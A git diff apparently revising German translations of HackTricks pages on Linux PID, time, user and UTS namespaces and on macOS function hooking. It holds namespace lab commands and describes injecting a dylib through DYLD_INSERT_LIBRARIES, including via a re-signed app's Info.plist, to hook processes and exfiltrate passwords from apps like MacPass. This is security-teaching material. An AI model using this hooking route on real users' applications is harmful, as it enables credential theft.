+### Finde alle Netzwerk-Namensräume
```bash
sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null | sort -u | grep "net:"
# Find the processes with an specific namespace
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
index 4c4709ef5..453682f14 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
@@ -1,21 +1,21 @@
-# PID-Namespace
+# PID Namespace
{{#include ../../../../banners/hacktricks-training.md}}
## Grundinformationen
-Der PID (Process IDentifier) Namespace ist eine Funktion im Linux-Kernel, die Prozessisolierung bietet, indem sie einer Gruppe von Prozessen ermöglicht, ihren eigenen Satz von einzigartigen PIDs zu haben, getrennt von den PIDs in anderen Namespaces. Dies ist besonders nützlich in der Containerisierung, wo Prozessisolierung für Sicherheit und Ressourcenmanagement entscheidend ist.
+Der PID (Process IDentifier) Namespace ist ein Feature im Linux-Kernel, das Prozessisolierung bietet, indem es einer Gruppe von Prozessen ermöglicht, ihren eigenen Satz von einzigartigen PIDs zu haben, die von den PIDs in anderen Namespaces getrennt sind. Dies ist besonders nützlich in der Containerisierung, wo Prozessisolierung für Sicherheit und Ressourcenmanagement entscheidend ist.
-Wenn ein neuer PID-Namespace erstellt wird, erhält der erste Prozess in diesem Namespace die PID 1. Dieser Prozess wird zum "init"-Prozess des neuen Namespaces und ist verantwortlich für die Verwaltung anderer Prozesse innerhalb des Namespaces. Jeder nachfolgende Prozess, der innerhalb des Namespaces erstellt wird, hat eine einzigartige PID innerhalb dieses Namespaces, und diese PIDs sind unabhängig von PIDs in anderen Namespaces.
+Wenn ein neuer PID Namespace erstellt wird, erhält der erste Prozess in diesem Namespace die PID 1. Dieser Prozess wird zum "init"-Prozess des neuen Namespaces und ist verantwortlich für die Verwaltung anderer Prozesse innerhalb des Namespaces. Jeder nachfolgende Prozess, der innerhalb des Namespaces erstellt wird, hat eine einzigartige PID innerhalb dieses Namespaces, und diese PIDs sind unabhängig von PIDs in anderen Namespaces.
-Aus der Perspektive eines Prozesses innerhalb eines PID-Namespace kann er nur andere Prozesse im selben Namespace sehen. Er ist sich der Prozesse in anderen Namespaces nicht bewusst und kann nicht mit ihnen interagieren, indem er traditionelle Prozessmanagement-Tools (z. B. `kill`, `wait` usw.) verwendet. Dies bietet ein Maß an Isolation, das hilft, zu verhindern, dass Prozesse sich gegenseitig stören.
+Aus der Perspektive eines Prozesses innerhalb eines PID Namespaces kann dieser nur andere Prozesse im selben Namespace sehen. Er ist sich der Prozesse in anderen Namespaces nicht bewusst und kann nicht mit ihnen über traditionelle Prozessmanagement-Tools (z. B. `kill`, `wait` usw.) interagieren. Dies bietet ein Maß an Isolation, das hilft, zu verhindern, dass Prozesse sich gegenseitig stören.
-### So funktioniert es:
+### Wie es funktioniert:
-1. Wenn ein neuer Prozess erstellt wird (z. B. durch Verwendung des `clone()`-Systemaufrufs), kann der Prozess einem neuen oder bestehenden PID-Namespace zugewiesen werden. **Wenn ein neuer Namespace erstellt wird, wird der Prozess zum "init"-Prozess dieses Namespaces**.
+1. Wenn ein neuer Prozess erstellt wird (z. B. durch die Verwendung des `clone()` Systemaufrufs), kann der Prozess einem neuen oder bestehenden PID Namespace zugewiesen werden. **Wenn ein neuer Namespace erstellt wird, wird der Prozess zum "init"-Prozess dieses Namespaces**.
2. Der **Kernel** verwaltet eine **Zuordnung zwischen den PIDs im neuen Namespace und den entsprechenden PIDs** im übergeordneten Namespace (d. h. dem Namespace, aus dem der neue Namespace erstellt wurde). Diese Zuordnung **ermöglicht es dem Kernel, PIDs bei Bedarf zu übersetzen**, z. B. beim Senden von Signalen zwischen Prozessen in verschiedenen Namespaces.
-3. **Prozesse innerhalb eines PID-Namespace können nur andere Prozesse im selben Namespace sehen und mit ihnen interagieren**. Sie sind sich der Prozesse in anderen Namespaces nicht bewusst, und ihre PIDs sind innerhalb ihres Namespaces einzigartig.
-4. Wenn ein **PID-Namespace zerstört wird** (z. B. wenn der "init"-Prozess des Namespaces beendet wird), **werden alle Prozesse innerhalb dieses Namespaces beendet**. Dies stellt sicher, dass alle Ressourcen, die mit dem Namespace verbunden sind, ordnungsgemäß bereinigt werden.
+3. **Prozesse innerhalb eines PID Namespaces können nur andere Prozesse im selben Namespace sehen und mit ihnen interagieren**. Sie sind sich der Prozesse in anderen Namespaces nicht bewusst, und ihre PIDs sind innerhalb ihres Namespaces einzigartig.
+4. Wenn ein **PID Namespace zerstört wird** (z. B. wenn der "init"-Prozess des Namespaces beendet wird), **werden alle Prozesse innerhalb dieses Namespaces beendet**. Dies stellt sicher, dass alle Ressourcen, die mit dem Namespace verbunden sind, ordnungsgemäß bereinigt werden.
## Labor:
@@ -45,7 +45,7 @@ Wenn `unshare` ohne die Option `-f` ausgeführt wird, tritt ein Fehler auf, der
- Das Problem kann gelöst werden, indem die Option `-f` mit `unshare` verwendet wird. Diese Option sorgt dafür, dass `unshare` einen neuen Prozess nach der Erstellung des neuen PID-Namespace forked.
- Das Ausführen von `%unshare -fp /bin/bash%` stellt sicher, dass der `unshare`-Befehl selbst PID 1 im neuen Namespace wird. `/bin/bash` und seine Kindprozesse sind dann sicher in diesem neuen Namespace enthalten, wodurch das vorzeitige Beenden von PID 1 verhindert wird und eine normale PID-Zuweisung ermöglicht wird.
-Durch die Sicherstellung, dass `unshare` mit dem `-f`-Flag ausgeführt wird, wird der neue PID-Namespace korrekt aufrechterhalten, sodass `/bin/bash` und seine Unterprozesse ohne den Speicherzuweisungsfehler arbeiten können.
+Indem sichergestellt wird, dass `unshare` mit dem `-f`-Flag ausgeführt wird, wird der neue PID-Namespace korrekt aufrechterhalten, sodass `/bin/bash` und seine Unterprozesse ohne den Speicherzuweisungsfehler arbeiten können.
@@ -55,7 +55,7 @@ Durch das Einhängen einer neuen Instanz des `/proc`-Dateisystems, wenn Sie den
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Überprüfen, in welchem Namespace sich Ihr Prozess befindet
+### Überprüfen, in welchem Namespace sich Ihr Prozess befindet
```bash
ls -l /proc/self/ns/pid
lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]'
@@ -70,9 +70,9 @@ Beachten Sie, dass der Root-Benutzer aus dem ursprünglichen (Standard-)PID-Name
```bash
nsenter -t TARGET_PID --pid /bin/bash
```
-Wenn Sie von dem Standard-Namespace in einen PID-Namespace eintreten, können Sie weiterhin alle Prozesse sehen. Und der Prozess aus diesem PID-Namespace wird in der Lage sein, die neue Bash im PID-Namespace zu sehen.
+Wenn Sie von dem Standard-Namespace in einen PID-Namespace eintreten, können Sie weiterhin alle Prozesse sehen. Und der Prozess aus diesem PID-Namespace kann die neue Bash im PID-Namespace sehen.
-Außerdem können Sie **nur in einen anderen Prozess-PID-Namespace eintreten, wenn Sie root sind**. Und Sie **können nicht** **in einen anderen Namespace eintreten** **ohne einen Deskriptor**, der darauf verweist (wie `/proc/self/ns/pid`)
+Außerdem können Sie **nur in einen anderen Prozess-PID-Namespace eintreten, wenn Sie root sind**. Und Sie **können** **nicht** **in einen anderen Namespace eintreten** **ohne einen Deskriptor**, der darauf verweist (wie `/proc/self/ns/pid`)
## References
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
index ec3367b6e..6a5605653 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
@@ -4,7 +4,7 @@
## Grundlegende Informationen
-Der Zeit-Namespace in Linux ermöglicht offsets pro Namespace zu den systemeigenen monotonen und Boot-Zeit-Uhren. Er wird häufig in Linux-Containern verwendet, um das Datum/Zeit innerhalb eines Containers zu ändern und Uhren nach der Wiederherstellung von einem Checkpoint oder Snapshot anzupassen.
+Der Zeit-Namespace in Linux ermöglicht offsets pro Namespace zu den systemeigenen monotonen und Boot-Zeit-Uhren. Er wird häufig in Linux-Containern verwendet, um das Datum/die Uhrzeit innerhalb eines Containers zu ändern und Uhren nach der Wiederherstellung von einem Checkpoint oder Snapshot anzupassen.
## Labor:
@@ -14,7 +14,7 @@ Der Zeit-Namespace in Linux ermöglicht offsets pro Namespace zu den systemeigen
```bash
sudo unshare -T [--mount-proc] /bin/bash
```
-Durch das Einhängen einer neuen Instanz des `/proc`-Dateisystems, wenn Sie den Parameter `--mount-proc` verwenden, stellen Sie sicher, dass der neue Mount-Namespace eine **genaue und isolierte Sicht auf die prozessspezifischen Informationen hat, die für diesen Namespace spezifisch sind**.
+Durch das Einhängen einer neuen Instanz des `/proc`-Dateisystems, wenn Sie den Parameter `--mount-proc` verwenden, stellen Sie sicher, dass der neue Mount-Namespace eine **genaue und isolierte Sicht auf die Prozessinformationen hat, die spezifisch für diesen Namespace sind**.
@@ -30,7 +30,7 @@ Wenn `unshare` ohne die Option `-f` ausgeführt wird, tritt ein Fehler auf, der
2. **Folge**:
-- Das Beenden von PID 1 in einem neuen Namespace führt zur Bereinigung des `PIDNS_HASH_ADDING`-Flags. Dies führt dazu, dass die Funktion `alloc_pid` fehlschlägt, um eine neue PID zuzuweisen, wenn ein neuer Prozess erstellt wird, was den Fehler "Kann Speicher nicht zuweisen" erzeugt.
+- Das Beenden von PID 1 in einem neuen Namespace führt zur Bereinigung des `PIDNS_HASH_ADDING`-Flags. Dies führt dazu, dass die Funktion `alloc_pid` fehlschlägt, wenn versucht wird, eine neue PID zuzuweisen, was den Fehler "Kann Speicher nicht zuweisen" erzeugt.
3. **Lösung**:
- Das Problem kann gelöst werden, indem die Option `-f` mit `unshare` verwendet wird. Diese Option bewirkt, dass `unshare` einen neuen Prozess nach der Erstellung des neuen PID-Namespace forked.
@@ -44,7 +44,7 @@ Durch die Sicherstellung, dass `unshare` mit dem `-f`-Flag ausgeführt wird, wir
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Überprüfen, in welchem Namespace sich Ihr Prozess befindet
+### Überprüfen, in welchem Namespace sich Ihr Prozess befindet
```bash
ls -l /proc/self/ns/time
lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]'
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
index 5d8ef59ed..2f3675aac 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
@@ -6,14 +6,14 @@
Ein Benutzer-Namespace ist eine Funktion des Linux-Kernels, die **die Isolation von Benutzer- und Gruppen-ID-Zuordnungen bereitstellt**, sodass jeder Benutzer-Namespace **sein eigenes Set von Benutzer- und Gruppen-IDs** haben kann. Diese Isolation ermöglicht es Prozessen, die in verschiedenen Benutzer-Namespaces ausgeführt werden, **unterschiedliche Berechtigungen und Eigentum zu haben**, selbst wenn sie numerisch die gleichen Benutzer- und Gruppen-IDs teilen.
-Benutzer-Namespaces sind besonders nützlich in der Containerisierung, wo jeder Container sein eigenes unabhängiges Set von Benutzer- und Gruppen-IDs haben sollte, um eine bessere Sicherheit und Isolation zwischen Containern und dem Host-System zu ermöglichen.
+Benutzer-Namespaces sind besonders nützlich in der Containerisierung, wo jeder Container sein eigenes unabhängiges Set von Benutzer- und Gruppen-IDs haben sollte, was eine bessere Sicherheit und Isolation zwischen Containern und dem Host-System ermöglicht.
### So funktioniert es:
1. Wenn ein neuer Benutzer-Namespace erstellt wird, **beginnt er mit einem leeren Set von Benutzer- und Gruppen-ID-Zuordnungen**. Das bedeutet, dass jeder Prozess, der im neuen Benutzer-Namespace ausgeführt wird, **anfänglich keine Berechtigungen außerhalb des Namespaces hat**.
-2. ID-Zuordnungen können zwischen den Benutzer- und Gruppen-IDs im neuen Namespace und denen im übergeordneten (oder Host-) Namespace hergestellt werden. Dies **ermöglicht es Prozessen im neuen Namespace, Berechtigungen und Eigentum zu haben, die den Benutzer- und Gruppen-IDs im übergeordneten Namespace entsprechen**. Die ID-Zuordnungen können jedoch auf bestimmte Bereiche und Teilmengen von IDs beschränkt werden, was eine feinkörnige Kontrolle über die den Prozessen im neuen Namespace gewährten Berechtigungen ermöglicht.
+2. ID-Zuordnungen können zwischen den Benutzer- und Gruppen-IDs im neuen Namespace und denen im übergeordneten (oder Host-) Namespace hergestellt werden. Dies **ermöglicht es Prozessen im neuen Namespace, Berechtigungen und Eigentum zu haben, die den Benutzer- und Gruppen-IDs im übergeordneten Namespace entsprechen**. Die ID-Zuordnungen können jedoch auf bestimmte Bereiche und Teilmengen von IDs beschränkt werden, was eine feinkörnige Kontrolle über die Berechtigungen ermöglicht, die Prozessen im neuen Namespace gewährt werden.
3. Innerhalb eines Benutzer-Namespace können **Prozesse volle Root-Berechtigungen (UID 0) für Operationen innerhalb des Namespaces haben**, während sie außerhalb des Namespaces weiterhin eingeschränkte Berechtigungen haben. Dies ermöglicht es, **Container mit root-ähnlichen Fähigkeiten innerhalb ihres eigenen Namespaces auszuführen, ohne volle Root-Berechtigungen auf dem Host-System zu haben**.
-4. Prozesse können zwischen Namespaces mit dem `setns()`-Systemaufruf wechseln oder neue Namespaces mit den Systemaufrufen `unshare()` oder `clone()` unter Verwendung des `CLONE_NEWUSER`-Flags erstellen. Wenn ein Prozess zu einem neuen Namespace wechselt oder einen erstellt, beginnt er, die Benutzer- und Gruppen-ID-Zuordnungen zu verwenden, die mit diesem Namespace verbunden sind.
+4. Prozesse können zwischen Namespaces mit dem `setns()`-Systemaufruf wechseln oder neue Namespaces mit den Systemaufrufen `unshare()` oder `clone()` mit dem `CLONE_NEWUSER`-Flag erstellen. Wenn ein Prozess zu einem neuen Namespace wechselt oder einen erstellt, beginnt er, die Benutzer- und Gruppen-ID-Zuordnungen zu verwenden, die mit diesem Namespace verbunden sind.
## Labor:
@@ -23,7 +23,7 @@ Benutzer-Namespaces sind besonders nützlich in der Containerisierung, wo jeder
```bash
sudo unshare -U [--mount-proc] /bin/bash
```
-Durch das Einhängen einer neuen Instanz des `/proc`-Dateisystems, wenn Sie den Parameter `--mount-proc` verwenden, stellen Sie sicher, dass der neue Mount-Namespace eine **genaue und isolierte Sicht auf die prozessspezifischen Informationen hat, die für diesen Namespace spezifisch sind**.
+Durch das Einhängen einer neuen Instanz des `/proc`-Dateisystems, wenn Sie den Parameter `--mount-proc` verwenden, stellen Sie sicher, dass der neue Mount-Namespace eine **genaue und isolierte Sicht auf die prozessspezifischen Informationen hat, die zu diesem Namespace gehören**.
@@ -39,11 +39,11 @@ Wenn `unshare` ohne die Option `-f` ausgeführt wird, tritt ein Fehler auf, der
2. **Folge**:
-- Das Verlassen von PID 1 in einem neuen Namespace führt zur Bereinigung des `PIDNS_HASH_ADDING`-Flags. Dies führt dazu, dass die Funktion `alloc_pid` fehlschlägt, um eine neue PID zuzuweisen, wenn ein neuer Prozess erstellt wird, was den Fehler "Kann Speicher nicht zuweisen" erzeugt.
+- Das Beenden von PID 1 in einem neuen Namespace führt zur Bereinigung des `PIDNS_HASH_ADDING`-Flags. Dies führt dazu, dass die Funktion `alloc_pid` bei der Erstellung eines neuen Prozesses fehlschlägt, was den Fehler "Kann Speicher nicht zuweisen" erzeugt.
3. **Lösung**:
- Das Problem kann gelöst werden, indem die Option `-f` mit `unshare` verwendet wird. Diese Option bewirkt, dass `unshare` einen neuen Prozess nach der Erstellung des neuen PID-Namespace forked.
-- Das Ausführen von `%unshare -fp /bin/bash%` stellt sicher, dass der `unshare`-Befehl selbst PID 1 im neuen Namespace wird. `/bin/bash` und seine Kindprozesse sind dann sicher in diesem neuen Namespace enthalten, wodurch der vorzeitige Austritt von PID 1 verhindert wird und eine normale PID-Zuweisung ermöglicht wird.
+- Das Ausführen von `%unshare -fp /bin/bash%` stellt sicher, dass der `unshare`-Befehl selbst PID 1 im neuen Namespace wird. `/bin/bash` und seine Kindprozesse sind dann sicher in diesem neuen Namespace enthalten, wodurch das vorzeitige Beenden von PID 1 verhindert wird und eine normale PID-Zuweisung ermöglicht wird.
Durch die Sicherstellung, dass `unshare` mit dem `-f`-Flag ausgeführt wird, wird der neue PID-Namespace korrekt aufrechterhalten, sodass `/bin/bash` und seine Unterprozesse ohne den Speicherzuweisungsfehler arbeiten können.
@@ -55,7 +55,7 @@ docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
Um den Benutzernamespace zu verwenden, muss der Docker-Daemon mit **`--userns-remap=default`** gestartet werden (In Ubuntu 14.04 kann dies durch Ändern von `/etc/default/docker` und anschließendes Ausführen von `sudo service docker restart` erfolgen)
-### Überprüfen, in welchem Namespace sich Ihr Prozess befindet
+### Überprüfen, in welchem Namespace sich Ihr Prozess befindet
```bash
ls -l /proc/self/ns/user
lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]'
@@ -70,7 +70,7 @@ Oder vom Host mit:
```bash
cat /proc//uid_map
```
-### Alle Benutzer-Namensräume finden
+### Finde alle Benutzer-Namensräume
```bash
sudo find /proc -maxdepth 3 -type l -name user -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
@@ -96,11 +96,11 @@ nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody
ps -ef | grep bash # The user inside the host is still root, not nobody
root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash
```
-### Wiederherstellung von Fähigkeiten
+### Wiederherstellen von Fähigkeiten
-Im Fall von Benutzernamensräumen gilt: **Wenn ein neuer Benutzernamensraum erstellt wird, erhält der Prozess, der in den Namensraum eintritt, ein vollständiges Set von Fähigkeiten innerhalb dieses Namensraums**. Diese Fähigkeiten ermöglichen es dem Prozess, privilegierte Operationen wie **Mounten** **von Dateisystemen**, Erstellen von Geräten oder Ändern des Eigentums von Dateien durchzuführen, jedoch **nur im Kontext seines Benutzernamensraums**.
+Im Fall von Benutzernamensräumen gilt: **Wenn ein neuer Benutzernamensraum erstellt wird, erhält der Prozess, der in den Namensraum eintritt, einen vollständigen Satz von Fähigkeiten innerhalb dieses Namensraums**. Diese Fähigkeiten ermöglichen es dem Prozess, privilegierte Operationen wie **Mounten** **von Dateisystemen**, Erstellen von Geräten oder Ändern des Eigentums von Dateien durchzuführen, jedoch **nur im Kontext seines Benutzernamensraums**.
-Zum Beispiel, wenn Sie die Fähigkeit `CAP_SYS_ADMIN` innerhalb eines Benutzernamensraums haben, können Sie Operationen durchführen, die typischerweise diese Fähigkeit erfordern, wie das Mounten von Dateisystemen, jedoch nur im Kontext Ihres Benutzernamensraums. Alle Operationen, die Sie mit dieser Fähigkeit durchführen, haben keine Auswirkungen auf das Hostsystem oder andere Namensräume.
+Zum Beispiel, wenn Sie die Fähigkeit `CAP_SYS_ADMIN` innerhalb eines Benutzernamensraums haben, können Sie Operationen durchführen, die normalerweise diese Fähigkeit erfordern, wie das Mounten von Dateisystemen, jedoch nur im Kontext Ihres Benutzernamensraums. Alle Operationen, die Sie mit dieser Fähigkeit durchführen, haben keine Auswirkungen auf das Hostsystem oder andere Namensräume.
> [!WARNING]
> Daher, selbst wenn das Erhalten eines neuen Prozesses in einem neuen Benutzernamensraum **Ihnen alle Fähigkeiten zurückgibt** (CapEff: 000001ffffffffff), können Sie tatsächlich **nur die verwenden, die mit dem Namensraum verbunden sind** (zum Beispiel Mount), aber nicht jede. Daher ist dies für sich genommen nicht ausreichend, um aus einem Docker-Container zu entkommen.
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
index 8708985be..548ef4728 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
@@ -4,13 +4,13 @@
## Grundinformationen
-Ein UTS (UNIX Time-Sharing System) Namespace ist eine Funktion des Linux-Kernels, die die **Isolation von zwei Systemidentifikatoren** bietet: dem **Hostname** und dem **NIS** (Network Information Service) Domänennamen. Diese Isolation ermöglicht es jedem UTS-Namespace, seinen **eigenen unabhängigen Hostnamen und NIS-Domänennamen** zu haben, was besonders in Containerisierungs-Szenarien nützlich ist, in denen jeder Container als separates System mit eigenem Hostnamen erscheinen sollte.
+Ein UTS (UNIX Time-Sharing System) Namespace ist eine Funktion des Linux-Kernels, die die **Isolation von zwei Systemidentifikatoren** bietet: dem **Hostname** und dem **NIS** (Network Information Service) Domänennamen. Diese Isolation ermöglicht es jedem UTS-Namespace, seinen **eigenen unabhängigen Hostnamen und NIS-Domänennamen** zu haben, was besonders in Containerisierungs-Szenarien nützlich ist, in denen jeder Container als separates System mit seinem eigenen Hostnamen erscheinen sollte.
### So funktioniert es:
1. Wenn ein neuer UTS-Namespace erstellt wird, beginnt er mit einer **Kopie des Hostnamens und des NIS-Domänennamens aus seinem übergeordneten Namespace**. Das bedeutet, dass der neue Namespace bei der Erstellung **die gleichen Identifikatoren wie sein übergeordneter Namespace teilt**. Änderungen am Hostnamen oder NIS-Domänennamen innerhalb des Namespaces wirken sich jedoch nicht auf andere Namespaces aus.
2. Prozesse innerhalb eines UTS-Namespace **können den Hostnamen und den NIS-Domänennamen** mithilfe der Systemaufrufe `sethostname()` und `setdomainname()` ändern. Diese Änderungen sind lokal für den Namespace und wirken sich nicht auf andere Namespaces oder das Hostsystem aus.
-3. Prozesse können zwischen Namespaces mithilfe des Systemaufrufs `setns()` wechseln oder neue Namespaces mit den Systemaufrufen `unshare()` oder `clone()` mit dem `CLONE_NEWUTS`-Flag erstellen. Wenn ein Prozess in einen neuen Namespace wechselt oder einen erstellt, beginnt er, den Hostnamen und den NIS-Domänennamen zu verwenden, die mit diesem Namespace verbunden sind.
+3. Prozesse können zwischen Namespaces mit dem Systemaufruf `setns()` wechseln oder neue Namespaces mit den Systemaufrufen `unshare()` oder `clone()` unter Verwendung des Flags `CLONE_NEWUTS` erstellen. Wenn ein Prozess in einen neuen Namespace wechselt oder einen erstellt, beginnt er, den Hostnamen und den NIS-Domänennamen zu verwenden, die mit diesem Namespace verbunden sind.
## Labor:
@@ -36,11 +36,11 @@ Wenn `unshare` ohne die Option `-f` ausgeführt wird, tritt ein Fehler auf, der
2. **Folge**:
-- Das Beenden von PID 1 in einem neuen Namespace führt zur Bereinigung des `PIDNS_HASH_ADDING`-Flags. Dies führt dazu, dass die Funktion `alloc_pid` fehlschlägt, um eine neue PID zuzuweisen, wenn ein neuer Prozess erstellt wird, was den Fehler "Kann Speicher nicht zuweisen" erzeugt.
+- Das Verlassen von PID 1 in einem neuen Namespace führt zur Bereinigung des `PIDNS_HASH_ADDING`-Flags. Dies führt dazu, dass die Funktion `alloc_pid` bei der Erstellung eines neuen Prozesses fehlschlägt, was den Fehler "Kann Speicher nicht zuweisen" erzeugt.
3. **Lösung**:
- Das Problem kann gelöst werden, indem die Option `-f` mit `unshare` verwendet wird. Diese Option bewirkt, dass `unshare` einen neuen Prozess nach der Erstellung des neuen PID-Namespace forked.
-- Das Ausführen von `%unshare -fp /bin/bash%` stellt sicher, dass der `unshare`-Befehl selbst PID 1 im neuen Namespace wird. `/bin/bash` und seine Kindprozesse sind dann sicher in diesem neuen Namespace enthalten, wodurch das vorzeitige Beenden von PID 1 verhindert wird und eine normale PID-Zuweisung ermöglicht wird.
+- Das Ausführen von `%unshare -fp /bin/bash%` stellt sicher, dass der `unshare`-Befehl selbst PID 1 im neuen Namespace wird. `/bin/bash` und seine Kindprozesse sind dann sicher in diesem neuen Namespace enthalten, wodurch der vorzeitige Austritt von PID 1 verhindert wird und eine normale PID-Zuweisung ermöglicht wird.
Durch die Sicherstellung, dass `unshare` mit dem `-f`-Flag ausgeführt wird, wird der neue PID-Namespace korrekt aufrechterhalten, sodass `/bin/bash` und seine Unterprozesse ohne den Speicherzuweisungsfehler arbeiten können.
@@ -50,12 +50,12 @@ Durch die Sicherstellung, dass `unshare` mit dem `-f`-Flag ausgeführt wird, wir
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Überprüfen, in welchem Namespace sich Ihr Prozess befindet
+### Überprüfen, in welchem Namespace sich Ihr Prozess befindet
```bash
ls -l /proc/self/ns/uts
lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]'
```
-### Alle UTS-Namensräume finden
+### Finde alle UTS-Namensräume
```bash
sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
index 73dda5664..c7c13db37 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
@@ -6,7 +6,7 @@
Erstellen Sie eine **dylib** mit einem **`__interpose`** Abschnitt (oder einem Abschnitt, der mit **`S_INTERPOSING`** gekennzeichnet ist), der Tupel von **Funktionszeigern** enthält, die auf die **ursprünglichen** und die **Ersatz**-Funktionen verweisen.
-Dann **injektieren** Sie die dylib mit **`DYLD_INSERT_LIBRARIES`** (die Einfügung muss erfolgen, bevor die Hauptanwendung geladen wird). Offensichtlich gelten die [**Einschränkungen** für die Verwendung von **`DYLD_INSERT_LIBRARIES`** auch hier](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions).
+Dann **injektieren** Sie die dylib mit **`DYLD_INSERT_LIBRARIES`** (die Einfügung muss erfolgen, bevor die Hauptanwendung geladen wird). Offensichtlich gelten die [**Einschränkungen** für die Verwendung von **`DYLD_INSERT_LIBRARIES`** auch hier](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions).
### printf einfügen
@@ -85,7 +85,7 @@ Es werden das **Objekt**, die **Methode** und die **Parameter** benötigt. Und w
Das Objekt ist **`someObject`**, die Methode ist **`@selector(method1p1:p2:)`** und die Argumente sind **value1**, **value2**.
-Folgt man den Objektstrukturen, ist es möglich, ein **Array von Methoden** zu erreichen, wo die **Namen** und **Zeiger** auf den Methodencode **lokalisiert** sind.
+Folgt man den Objektstrukturen, ist es möglich, auf ein **Array von Methoden** zuzugreifen, wo die **Namen** und **Zeiger** auf den Methodencode **lokalisiert** sind.
> [!CAUTION]
> Beachten Sie, dass Methoden und Klassen basierend auf ihren Namen zugegriffen werden, diese Informationen werden im Binärformat gespeichert, sodass es möglich ist, sie mit `otool -ov ` oder [`class-dump `](https://github.com/nygard/class-dump) abzurufen.
@@ -208,7 +208,7 @@ return 0;
}
```
> [!WARNING]
-> In diesem Fall könnte der **Implementierungscode der legitimen** Methode **überprüfen**, ob der **Methodenname** **verifiziert** wird, und könnte dieses Swizzling **erkennen** und dessen Ausführung verhindern.
+> In diesem Fall könnte der **Implementierungscode der legitimen** Methode **überprüfen**, ob der **Methodenname** **erkannt** wird, und dieses Swizzling verhindern.
>
> Die folgende Technik hat diese Einschränkung nicht.
@@ -216,7 +216,7 @@ return 0;
Das vorherige Format ist seltsam, da Sie die Implementierung von 2 Methoden gegeneinander ändern. Mit der Funktion **`method_setImplementation`** können Sie die **Implementierung** einer **Methode für die andere** **ändern**.
-Denken Sie nur daran, die **Adresse der Implementierung der ursprünglichen** Methode zu **speichern**, wenn Sie sie aus der neuen Implementierung aufrufen möchten, bevor Sie sie überschreiben, da es später viel komplizierter sein wird, diese Adresse zu finden.
+Denken Sie daran, die **Adresse der Implementierung der ursprünglichen** Methode zu **speichern**, wenn Sie sie aus der neuen Implementierung aufrufen möchten, bevor Sie sie überschreiben, da es später viel komplizierter sein wird, diese Adresse zu finden.
```objectivec
#import
#import
@@ -276,9 +276,9 @@ Um dies zu tun, ist die einfachste Technik, die verwendet werden kann, das Injiz
Beide Optionen sind jedoch **begrenzt** auf **unprotected** Binaries/Prozesse. Überprüfen Sie jede Technik, um mehr über die Einschränkungen zu erfahren.
-Ein Hooking-Angriff ist jedoch sehr spezifisch; ein Angreifer wird dies tun, um **sensible Informationen aus einem Prozess zu stehlen** (ansonsten würden Sie einfach einen Prozessinjektionsangriff durchführen). Und diese sensiblen Informationen könnten sich in heruntergeladenen Benutzer-Apps wie MacPass befinden.
+Ein Hooking-Angriff ist jedoch sehr spezifisch; ein Angreifer wird dies tun, um **sensible Informationen aus einem Prozess zu stehlen** (ansonsten würden Sie einfach einen Prozessinjektionsangriff durchführen). Und diese sensiblen Informationen könnten in von Benutzern heruntergeladenen Apps wie MacPass gespeichert sein.
-Der Angreifer-Vektor wäre also, entweder eine Schwachstelle zu finden oder die Signatur der Anwendung zu entfernen, und die **`DYLD_INSERT_LIBRARIES`**-Umgebungsvariable über die Info.plist der Anwendung einzufügen, indem man etwas hinzufügt wie:
+Der Angreifer-Vektor wäre also, entweder eine Schwachstelle zu finden oder die Signatur der Anwendung zu entfernen, die **`DYLD_INSERT_LIBRARIES`**-Umgebungsvariable über die Info.plist der Anwendung einzufügen und etwas hinzuzufügen wie:
```xml
LSEnvironment
@@ -293,7 +293,7 @@ und dann **erneut registrieren** Sie die Anwendung:
Fügen Sie in dieser Bibliothek den Hooking-Code hinzu, um die Informationen zu exfiltrieren: Passwörter, Nachrichten...
> [!CAUTION]
